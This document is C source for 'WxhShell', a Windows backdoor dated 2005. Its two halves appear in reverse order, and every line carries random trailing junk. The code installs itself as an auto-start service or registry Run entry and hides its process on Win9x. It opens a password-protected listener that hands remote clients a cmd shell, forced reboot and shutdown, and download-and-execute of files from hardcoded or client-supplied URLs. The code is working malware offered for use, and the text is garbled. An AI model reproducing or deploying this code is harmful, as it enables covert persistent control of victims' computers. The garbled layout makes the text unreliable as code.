    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V%51k{  
    if(Boot(SHUTDOWN)) r]T0+oQ>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (:7a&2/M  
    else { ]]PE#DDg  
    closesocket(wsh); \z:<DsQ&  
    ExitThread(0); CN\=9Rvs  
    } yb?|Eww_o  
    break; x*q35K^PE  
    } V:Mk)8Gf|  
  // 获取shell `tVy_/3(9  
  case 's': { ,v7Q*3  
    CmdShell(wsh); 9.s,:?5e  
    closesocket(wsh); l9J*um-  
    ExitThread(0); |r !G,  
    break; f3#X0.':  
  } hZU 1O  
  // 退出 kceyuD$3G  
  case 'x': { ]r959+\$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Dr+Ps  
    CloseIt(wsh); 12OlrU  
    break; 30d#Lq  
    } oY.\)eJ~>  
  // 离开 iRt*A6`m+  
  case 'q': { vaB!R 0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y0RgJn  
    closesocket(wsh); b#='^W3  
    WSACleanup(); EO:avH.*0  
    exit(1); 5v|EAjB6o  
    break; = F<:}Tx)C  
        } taDQ65  
  } gDC2 >nV  
  } L!y"d!6C  
$.8 H>c  
  // 提示信息 C:j]43`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yt{&rPv,  
} Y;_T=  L  
  } -N# #w=  
J\A8qh8  
  return; /b%Q[ Ck_  
} A ~&+F>Z  
X"<|Z]w  
// shell模块句柄 @GeHWv  
int CmdShell(SOCKET sock) Ep ">v>"  
{ bV6V02RF  
STARTUPINFO si; 2 Y+:,ud\  
ZeroMemory(&si,sizeof(si)); ri=+(NKo-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >rf5)Y~f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wW5Yw i  
PROCESS_INFORMATION ProcessInfo; i/$SN-5}1  
char cmdline[]="cmd"; ,YB1 y)x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |^Kjz{  
  return 0; 7I >J$"  
} @i1q]0  
gtYRV*^q  
// 自身启动模式 "8/dD]=f^a  
int StartFromService(void) m~>@BCn;  
{ U^?= 0+  
typedef struct J?D\$u:  
{ PGX+p+wB  
  DWORD ExitStatus; $ $4W}Ug3U  
  DWORD PebBaseAddress; fM ^<+o@  
  DWORD AffinityMask; 6+PGwCS  
  DWORD BasePriority; W[|[;{  
  ULONG UniqueProcessId; 7'eh)[T  
  ULONG InheritedFromUniqueProcessId; u-.L^!k  
}   PROCESS_BASIC_INFORMATION; '[f Zt#  
~L'nz quF  
PROCNTQSIP NtQueryInformationProcess; f#OQ (WTJE  
ZqK]jT6V/X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; % rcFT_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jBRPR R0  
1X&B:_  
  HANDLE             hProcess; vGN3 YcH  
  PROCESS_BASIC_INFORMATION pbi; ;J=:IEk  
!G+u j(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :-Wv>V\t  
  if(NULL == hInst ) return 0; 8&.-]{Z  
JXm?2 /  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XeU<^ [  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8R4qU!M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Sk=N [hwU  
it,w^VU_]  
  if (!NtQueryInformationProcess) return 0; jdlG#j-\  
mHs:t{q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &yLc1#H  
  if(!hProcess) return 0; @]?R2bI  
TSQh X~RN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z*eoA  
r0btC@Hxy  
  CloseHandle(hProcess); D9o*8h2$  
f:vD`Fz1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5\S&)ZA@  
if(hProcess==NULL) return 0; 98UlNP  
h=[-Er'B  
HMODULE hMod; xa#gWIP*  
char procName[255]; QJSr:dP4dG  
unsigned long cbNeeded; (\vXA4Oa,  
. r `[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c<tmj{$  
:e2X/tl#  
  CloseHandle(hProcess); q"nGy#UWR  
Eem g  
if(strstr(procName,"services")) return 1; // 以服务启动 $?f]ZyZr.  
";dU-\3M  
  return 0; // 注册表启动 e /94y6*>  
} [z+x"9l0!  
oAz<G  
// 主模块 x'i0KF   
int StartWxhshell(LPSTR lpCmdLine) bl.EIyG>  
{ wPH+n-&e  
  SOCKET wsl; <25ccE9^c  
BOOL val=TRUE; &7Kb]Ti  
  int port=0; DL4iXULNY  
  struct sockaddr_in door; <V S2]13  
SqqDV)Uih1  
  if(wscfg.ws_autoins) Install(); J]\^QMX  
^PQM;"  
port=atoi(lpCmdLine); os**hFPk;1  
O`(U/?   
if(port<=0) port=wscfg.ws_port; EfKntrom[  
j^ I!6j=ZX  
  WSADATA data; +-ewE-:|L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xwOE+  
0b++ 17aV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5hz_P+Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P` ]ps?l  
  door.sin_family = AF_INET; 8\_*1h40s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qTy v.#{y  
  door.sin_port = htons(port); KPggDKS  
JqEb;NiP)5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $5L(gn[  
closesocket(wsl); 'tuBuYD\  
return 1; la`"$f  
} $W,zO|-  
-'ZxN'*%  
  if(listen(wsl,2) == INVALID_SOCKET) { V16%Ne  
closesocket(wsl); 61,O%lV  
return 1; 6[+j'pW?  
} PbN3;c3  
  Wxhshell(wsl); {AgBwBCE  
  WSACleanup(); ,qu:<  
s41adw>  
return 0; ]-Lruq#  
}!B.K^@)  
} y5%5O xB  
m1y `v"  
// 以NT服务方式启动 +{*)}[w{x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |^!Vo&T  
{ UR,?!rJ^B  
DWORD   status = 0; ^U{P3 %uZ  
  DWORD   specificError = 0xfffffff; e5L 1er;6  
-XW8 LaQB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W5X7FEW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6sy,A~e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8_ X.c  
  serviceStatus.dwWin32ExitCode     = 0; xT=ySa$|>  
  serviceStatus.dwServiceSpecificExitCode = 0; TrQm]9@  
  serviceStatus.dwCheckPoint       = 0; ^'Y HJEK  
  serviceStatus.dwWaitHint       = 0; r0uJ$/!  
|0]YA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1tyNRoET  
  if (hServiceStatusHandle==0) return; $eMK{:$O  
eI?HwP{m  
status = GetLastError(); K1-+A2snhV  
  if (status!=NO_ERROR) #G~wE*VR$  
{ k.Gl4 x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oX{@'B  
    serviceStatus.dwCheckPoint       = 0; 9 tAE#A  
    serviceStatus.dwWaitHint       = 0; 6VFirLd  
    serviceStatus.dwWin32ExitCode     = status; UOJ*a1BM  
    serviceStatus.dwServiceSpecificExitCode = specificError; kwc*is  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 23k)X"5  
    return; ]_\AHnJ  
  } q|Fjm]AF  
L6x B`E9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AoU_;B\b%  
  serviceStatus.dwCheckPoint       = 0; q#m!/wod  
  serviceStatus.dwWaitHint       = 0; :mn(0 R~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "u5KbJW  
} PY\W  
T+(M8 qb  
// 处理NT服务事件,比如:启动、停止 +K&?)?/=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;t~*F#p(!  
{ [9J:bD  
switch(fdwControl) r;'i<t{P  
{ 6"%@ L{UQ  
case SERVICE_CONTROL_STOP: Wt"ww~h`(  
  serviceStatus.dwWin32ExitCode = 0; z6 a,0&;-L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bl`D+/V   
  serviceStatus.dwCheckPoint   = 0; i)[kubM  
  serviceStatus.dwWaitHint     = 0; YQx?* gZS  
  { 1]Lhk?4t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %rw}u"3T  
  } HM 90Sb  
  return; ~;!BDLMC6  
case SERVICE_CONTROL_PAUSE: V07VwVD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @"0uM?_)-  
  break; #)FDl70S8  
case SERVICE_CONTROL_CONTINUE: Ej{+U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !. p  
  break; hAlPl<BO#V  
case SERVICE_CONTROL_INTERROGATE: m|lM.]2_  
  break; ]  ~'9  
}; HmW=t}!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <c(&T<$  
} *|^,DGfQ6  
}a' cm!"  
// 标准应用程序主函数 L,WkJe3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )O9fhj)  
{ WqR7uiCi  
lS#7x h  
// 获取操作系统版本 X:U=MWc>  
OsIsNt=GetOsVer(); tg3zXJ4k_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [z^Od  
x\6] ;SXX  
  // 从命令行安装 o>.AdZby  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2G ZF/9}  
K[e`t%2_  
  // 下载执行文件 Jb7iBQ2%  
if(wscfg.ws_downexe) { `t%|.=R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e~3]/BL  
  WinExec(wscfg.ws_filenam,SW_HIDE); @`5QG2  
} KM5jl9Vv  
<>VID E  
if(!OsIsNt) { Qg[heND  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?vMK'"  
HideProc(); /q T E  
StartWxhshell(lpCmdLine); b-2pzcK{#  
} q)vK`\Y  
else )sRN!~  
  if(StartFromService()) (v]P<3%  
  // 以服务方式启动 U&`6&$]  
  StartServiceCtrlDispatcher(DispatchTable); 5[nmP95YK  
else Wux0RF&  
  // 普通方式启动 zaH 5 Km_j  
  StartWxhshell(lpCmdLine); ";756'>  
mZ]P[lQ'5  
return 0; ?n2C  
} *3 !(*F@M,  
X {#bJ  
7qpzk7X?pR  
9z+vFk`  
=========================================== 0,:iE\  
$|rCrak;  
={\![{L  
DE5d]3B  
z'?SRK5+  
keae.6[  
" ?Y%}(3y  
w8G7Jy  
#include <stdio.h> BO[+E' 2  
#include <string.h> @8QFP3\1  
#include <windows.h> R_t~UTfI;  
#include <winsock2.h> "tfn?n0  
#include <winsvc.h> 4tbw*H5!5  
#include <urlmon.h> Um/CR!  
2TE\4j  
#pragma comment (lib, "Ws2_32.lib") 8b-7]%  
#pragma comment (lib, "urlmon.lib") T:be 9 5!,  
x6"/z  
#define MAX_USER   100 // 最大客户端连接数 1aBD^^Y  
#define BUF_SOCK   200 // sock buffer GVeL~Q  
#define KEY_BUFF   255 // 输入 buffer 4s[`yV  
-)p@BtMS  
#define REBOOT     0   // 重启 >Dk1axZ!>/  
#define SHUTDOWN   1   // 关机 fKFnCng  
ixIh T  
#define DEF_PORT   5000 // 监听端口 rH[5~U  
O'"YJ,  
#define REG_LEN     16   // 注册表键长度 Ii|uGxEc  
#define SVC_LEN     80   // NT服务名长度 pTc$+Z7 3  
S4;wa6  
// 从dll定义API +G<}JJ'V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >?^~s(t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :uOZjEZi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >Kz_My9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -FQC9~rR;g  
s4x'f$r  
// wxhshell配置信息 p^T&jE8])#  
struct WSCFG { eLCdAr  
  int ws_port;         // 监听端口 ,.~ W  
  char ws_passstr[REG_LEN]; // 口令  C/SapX  
  int ws_autoins;       // 安装标记, 1=yes 0=no sGXp}{E9  
  char ws_regname[REG_LEN]; // 注册表键名 uCY(:;[<  
  char ws_svcname[REG_LEN]; // 服务名 W/#KX}4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @~JB\j9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P]|J?$1K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y2oB]^z&n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1[26w_B3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >`<Ued  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Mr$# e  
eKL]E!  
}; 3Cq6h;!#  
^RYn8I  
// default Wxhshell configuration lF0K=L  
struct WSCFG wscfg={DEF_PORT, D."cQ<sxpN  
    "xuhuanlingzhe", _{N0OX  
    1, T+`xr0  
    "Wxhshell", N7d17c. 5  
    "Wxhshell", (J6" ;  
            "WxhShell Service", "9c.CI  
    "Wrsky Windows CmdShell Service", D2Vb{%(4.  
    "Please Input Your Password: ",  Ask' !  
  1, 6Hc H'nmeN  
  "http://www.wrsky.com/wxhshell.exe", H+S~ bzz  
  "Wxhshell.exe" l[tY,Y:4qO  
    }; Dm7Y#)%8  
5LDQ^n  
// 消息定义模块 6H(fk1E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G> f^ 2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CnxK+1n l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3$GY,B  
char *msg_ws_ext="\n\rExit."; _<u8%\  
char *msg_ws_end="\n\rQuit."; /X(@|tk:  
char *msg_ws_boot="\n\rReboot..."; @N,:x\  
char *msg_ws_poff="\n\rShutdown..."; N BV}4  
char *msg_ws_down="\n\rSave to "; 3r,1^h  
G3Idxs  
char *msg_ws_err="\n\rErr!"; 6a "VCE]  
char *msg_ws_ok="\n\rOK!"; z7O Z4R:  
*ge].E  
char ExeFile[MAX_PATH]; ^+(A&PyP?  
int nUser = 0; y0/WA4,  
HANDLE handles[MAX_USER]; "6NFe!/Y$*  
int OsIsNt; Dj-\))L  
o0zc}mm  
SERVICE_STATUS       serviceStatus; 08<k'Oi]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ha46U6_'h  
tQNk=}VR7r  
// 函数声明 Tns?mQ  
int Install(void); @rnp- +kq  
int Uninstall(void); o0,UXBx  
int DownloadFile(char *sURL, SOCKET wsh); C><<0VhU  
int Boot(int flag); *(?U  
void HideProc(void); :z0s*,QH  
int GetOsVer(void); LydbP17K}  
int Wxhshell(SOCKET wsl); ek<PISlci  
void TalkWithClient(void *cs); hQgk.$g  
int CmdShell(SOCKET sock); ib5;f0Qa  
int StartFromService(void); oV0LJ%  
int StartWxhshell(LPSTR lpCmdLine); ga4/,   
e%P+KX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6F|Hg2tpz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _n-VgPRn  
3q~":bpAp  
// 数据结构和表定义 P!`Q_h6a  
SERVICE_TABLE_ENTRY DispatchTable[] = c8bca`  
{ 7\7Brw4  
{wscfg.ws_svcname, NTServiceMain}, ?z\q Mu  
{NULL, NULL} F&W0DaH  
}; .ujs`9d_-  
tnQR<  
// 自我安装 uM6CG0  
int Install(void) (PCimT=5  
{ |<|28~#  
  char svExeFile[MAX_PATH]; n/9 LRZD|w  
  HKEY key; ^l]]qdNr  
  strcpy(svExeFile,ExeFile); =:xV(GK}  
]FY?_DGOA  
// 如果是win9x系统,修改注册表设为自启动 jI*}y[o  
if(!OsIsNt) { QLn5#x~xb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KuIt[oM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5 {T9*  
  RegCloseKey(key); ?D*Hl+iu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?$"x^=te7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SY!`a:It  
  RegCloseKey(key); 4_6W s$x  
  return 0; C:'WX*W  
    } >< <$  
  } <GL}1W"Ay  
} l>3M|js@/  
else { Q{J"`d2  
n9<roH  
// 如果是NT以上系统,安装为系统服务 dXA{+<!!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q%,o8E2~  
if (schSCManager!=0) _ 6+,R  
{ ?V&Ld$db  
  SC_HANDLE schService = CreateService F]K$u <U  
  ( ZYwBw:y}y  
  schSCManager, %5Q7#xU  
  wscfg.ws_svcname, f"5lOzj`C  
  wscfg.ws_svcdisp, &y#\1K  
  SERVICE_ALL_ACCESS, >5Q^9 9V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (uuEjM$3%  
  SERVICE_AUTO_START, "VT{1(]t  
  SERVICE_ERROR_NORMAL, Lu8%qcC  
  svExeFile, nhVK?  
  NULL, &X#x9|=&O  
  NULL, .G5NGB  
  NULL,  |0C|$2  
  NULL, Z`-)1!  
  NULL ({d,oU$>y  
  ); d vg;  
  if (schService!=0) "v\ bMuS  
  { Q{H!s_6iyv  
  CloseServiceHandle(schService); 2 Ft0C2  
  CloseServiceHandle(schSCManager); !L0E03')k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ( )JYN5  
  strcat(svExeFile,wscfg.ws_svcname); C|.$L<`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -)y> c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U(S@1i(  
  RegCloseKey(key); EO o'a  
  return 0; N27K  
    } {a+Fx}W  
  } )*^OPVt  
  CloseServiceHandle(schSCManager); >j(I[_g  
} gZ `#tlA~  
} i GEQXIr3  
SHXa{-  
return 1; 0,vj,ic*WX  
} gqO%^b)6  
vc>^.#7   
// 自我卸载 ??$i*  
int Uninstall(void) BRo R"#'  
{ IEIxjek  
  HKEY key; P\*2c*,W;  
4 BE:&A  
if(!OsIsNt) { .  T6_N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C)&gL=O*$  
  RegDeleteValue(key,wscfg.ws_regname); W[[YOK1T  
  RegCloseKey(key); l(k rUv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0M/\bE G(_  
  RegDeleteValue(key,wscfg.ws_regname); +hgaBJy  
  RegCloseKey(key); (?*mh?  
  return 0; Y-neD?VN  
  } ySr091Q  
} DiGUxnP  
} dFI.`pB  
else { :N*q;j>  
y:i[~y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5fvUv"m  
if (schSCManager!=0) C$2o o@  
{ }OX>(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _Ssv:x c,  
  if (schService!=0) %b-;Rn  
  { U'sVs2sk6  
  if(DeleteService(schService)!=0) { nL7S3  
  CloseServiceHandle(schService); NSiYUAu g  
  CloseServiceHandle(schSCManager); 6bRQL}[  
  return 0; k<j)?_=`  
  } T|BY00Sz`  
  CloseServiceHandle(schService); jziA;6uL  
  } 1v[#::Bs  
  CloseServiceHandle(schSCManager); Vne. HFXA  
} \J3v>&m<7  
} 8,H#t@+MT  
?4wehcZz  
return 1; ?Qo_ KQ%sn  
} dp//p)B>  
psyH?&T  
// 从指定url下载文件 0+2Matk>.  
int DownloadFile(char *sURL, SOCKET wsh) "u,~yxYWl  
{ fdCxMKlu;  
  HRESULT hr; <Hr@~<@~  
char seps[]= "/"; 3*2&Fw!B  
char *token; {Gb)Et]<  
char *file; gk_Xu  
char myURL[MAX_PATH]; &>) `P[x  
char myFILE[MAX_PATH]; A\PV@w%A i  
R^u^y{ohr  
strcpy(myURL,sURL); sxC{\iLY%  
  token=strtok(myURL,seps); S{"6PXzb  
  while(token!=NULL) @|\s$L  
  { -%/,j)VKD  
    file=token; <-oRhi4  
  token=strtok(NULL,seps); (W}i287  
  } !+*?pq  
=DF@kR[CH"  
GetCurrentDirectory(MAX_PATH,myFILE);  1+i  
strcat(myFILE, "\\"); v0jz)z<#  
strcat(myFILE, file); b]s1Q ]V  
  send(wsh,myFILE,strlen(myFILE),0); `X.=uG+m  
send(wsh,"...",3,0); _>?8eC]4a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `>Kk;`  
  if(hr==S_OK) "'H7F ,k'  
return 0; k>z-Zg  
else RQK**  
return 1; whg4o|p  
bcx{_&1p  
} <1'X)n&Kw$  
= VX<eV  
// 系统电源模块 @=zBF'<.9  
int Boot(int flag) }~\].I6  
{ ;uA_gn!  
  HANDLE hToken; 1Sc~Vb|>  
  TOKEN_PRIVILEGES tkp; `bt)'ERO%#  
.+JP tL  
  if(OsIsNt) { kmwrv -W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L&gEQDPgq|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k~9Ywf  
    tkp.PrivilegeCount = 1; Bdk{.oh6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E6^S2J2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;~1/eF  
if(flag==REBOOT) { @Ozf}}#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M:Y!k<p  
  return 0; YT 03>!B  
} 2S10j%EeI  
else { WCfe!P?g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9:Z~}yX  
  return 0; tL4]6u  
} %Ty {1'o  
  } fdH'z:Xao  
  else { v8fZ?dx  
if(flag==REBOOT) { pt|$bU7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K/.hJ  
  return 0; 7rDRu]  
} iN9!?Ov_  
else { 0Eg r Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \3:{LOr%*  
  return 0; w-Q 6 -  
} FLnAN;  
} wM&x8 <  
fvBC9^3  
return 1; zl8\jP  
} "?0 G^zu  
xY}j8~k  
// win9x进程隐藏模块 ^5@"|m1  
void HideProc(void) 8/kO9'.P  
{ 7Caap/L:  
o  >4>7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U+A(.+d.  
  if ( hKernel != NULL ) Ky~~Cd$  
  { eEZlVHM;O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]A<u eM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  AQNx%  
    FreeLibrary(hKernel); fD}]Mi:V  
  } m=l3O:~J  
]3# @t:>  
return; 68br  
} +n~rM'^4/  
9M~$W-5  
// 获取操作系统版本 \,#4+&4b  
int GetOsVer(void) 8}`8lOE7  
{ .Fz6+m;Z  
  OSVERSIONINFO winfo; *M!YQ<7G^d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |/Q."d  
  GetVersionEx(&winfo); Hf]}OvT>Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AA%g^PWpR  
  return 1; S@2Jj>3D?  
  else NeZYchR  
  return 0; Jz8#88cY  
} j\L$dPZ  
#w?%&,Kp  
// 客户端句柄模块 z)y(31K<1  
int Wxhshell(SOCKET wsl)  >33b@)  
{ LUVJ218p  
  SOCKET wsh; { rJF)\2  
  struct sockaddr_in client; pC.P  
  DWORD myID; `e;Sjf<  
ZTz(NS EK  
  while(nUser<MAX_USER) Ytnr$*5.  
{ Us~wv"L=UX  
  int nSize=sizeof(client); QS?9&+JM|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mb6?$1j  
  if(wsh==INVALID_SOCKET) return 1; [goPmVe+  
|B WK"G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H9m2Whq  
if(handles[nUser]==0) ?-v?SN#  
  closesocket(wsh); I:)#U[tn0  
else  1`JN  
  nUser++; $[;eb,  
  } \J g#X:d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L#MxB|fcr  
n8D;6#P^  
  return 0; @%85k/(  
} Y$5v3E\uc  
Kyiez]T6%q  
// 关闭 socket w}<I\*\`!  
void CloseIt(SOCKET wsh) x(6.W"-S  
{ A/6nV n  
closesocket(wsh); m64\@ [  
nUser--; ]`U?<9~Ob  
ExitThread(0); z#67rh {  
} 7uH{UpslJ  
nE$ V<Co}  
// 客户端请求句柄 d"uM7PMs7x  
void TalkWithClient(void *cs) 05zdy-Fb  
{ |}Z"|-Z  
`.Q3s?1F  
  SOCKET wsh=(SOCKET)cs; 0#GwhB  
  char pwd[SVC_LEN]; U.} =j'Us+  
  char cmd[KEY_BUFF]; v" TH[}C9D  
char chr[1]; u<r('IW0  
int i,j; @  MoMU  
A+ *(Pds  
  while (nUser < MAX_USER) { GB Un" _J  
rxA)&  
if(wscfg.ws_passstr) { NGGd6V%'-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !Bbwl-e`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PEhLzZX+  
  //ZeroMemory(pwd,KEY_BUFF); XYVeHP!  
      i=0; p tfADG  
  while(i<SVC_LEN) { itMc!bUQ  
Z'M@DY/fdK  
  // 设置超时 tELnq#<6  
  fd_set FdRead; O3GaxM \x  
  struct timeval TimeOut; td$Jx}'A  
  FD_ZERO(&FdRead); Z4sjH1W  
  FD_SET(wsh,&FdRead); TyXOd,%zl  
  TimeOut.tv_sec=8; IUG .q8  
  TimeOut.tv_usec=0; Efd[ZJxS6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `G{t<7[[;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HYa!$P3}[  
d u )G)~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?%n9g)>Yej  
  pwd=chr[0]; v)pWx0l=  
  if(chr[0]==0xd || chr[0]==0xa) { W]]2Uo.  
  pwd=0; t $%}*@x7  
  break; GUZi }a|=  
  } ho<#i(  
  i++; nXW1:  
    } !9Xex?et  
3Or3@e5r  
  // 如果是非法用户,关闭 socket Qp Vm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Kwau:_B  
} 2l%iXK[  
(acRYv(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _~<TAFBr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t')I c6.?i  
Stx-(Kfn4  
while(1) { .6(i5K  
Onyq'  
  ZeroMemory(cmd,KEY_BUFF); #r}c<?>Vw  
(P_+m#  
      // 自动支持客户端 telnet标准   AIo;\35  
  j=0; |%9~W^b  
  while(j<KEY_BUFF) { J#nEGl|a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $o^}<)DW  
  cmd[j]=chr[0]; B-zt(HG  
  if(chr[0]==0xa || chr[0]==0xd) { L1+cv;t  
  cmd[j]=0; p gi7 JQ  
  break; OQyOv%g5C  
  } GQ8P}McA  
  j++; pc>R|~J{2  
    } M](U"K?  
r73Xh"SL  
  // 下载文件 !%=k/|#  
  if(strstr(cmd,"http://")) { RmCR"~   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *()#*0  
  if(DownloadFile(cmd,wsh)) ]t<%>Z$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); / nRaxzf'  
  else '?4[w]0J<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3e:y?hpeL  
  } $S/ 8T  
  else { Nrh`DyF0D!  
)nVx 2m4  
    switch(cmd[0]) { (~4AG \  
